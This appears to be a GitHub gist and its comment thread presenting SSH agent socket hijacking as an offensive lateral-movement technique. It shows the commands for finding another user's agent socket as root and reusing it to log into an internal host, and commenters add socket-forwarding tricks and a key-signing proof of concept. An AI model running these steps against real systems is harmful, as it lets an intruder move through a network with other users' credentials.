Skip to content

Instantly share code, notes, and snippets.

@int0x80
Created January 7, 2021 00:59
Show Gist options
  • Star 91 You must be signed in to star a gist
  • Fork 10 You must be signed in to fork a gist
  • Save int0x80/9e7b096684dd37c478198404d171aa3f to your computer and use it in GitHub Desktop.
Save int0x80/9e7b096684dd37c478198404d171aa3f to your computer and use it in GitHub Desktop.

Here's one of my favorite techniques for lateral movement: SSH agent forwarding. Use a UNIX-domain socket to advance your presence on the network. No need for passwords or keys.

root@bastion:~# find /tmp/ssh-* -type s
/tmp/ssh-srQ6Q5UpOL/agent.1460

root@bastion:~# SSH_AUTH_SOCK=/tmp/ssh-srQ6Q5UpOL/agent.1460 ssh user@internal.company.tld

user@internal:~$ hostname -f
internal.company.tld

This post explains it well and details the safer ssh -J alternative.

@int0x80
Copy link
Author

int0x80 commented Jan 7, 2021

@0xdade great add! I may have run into those in a former life 😉 Sometimes I have to remember to check /etc/ssh/ssh_config in addition to the home directory ~/.ssh/config files.

@wvu-r7 holy smokes, TIL! Can't wait to hit a Windows machine with this.

@wvu
Copy link

wvu commented Jan 7, 2021

Both ssh -L and -R can forward Unix sockets, too. Might be useful when performing SSH gymnastics.

@dandare100
Copy link

Thank you, this is cool stuff.
There are quite a few operations defined in the agent-forwarding spec.

A particularly interesting one is using the agent to perform private key signing operations, without having access to the key itself.

Here is a simple POC that shows this in action

https://github.com/dandare100/agentstub

@wvu
Copy link

wvu commented Jan 7, 2021

Wish I could react to gist comments. Thanks for the contribution!

@int0x80
Copy link
Author

int0x80 commented Jan 9, 2021

@dandare100 TIL! Thank you for sharing that.

@dandare100
Copy link

cool runnings

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment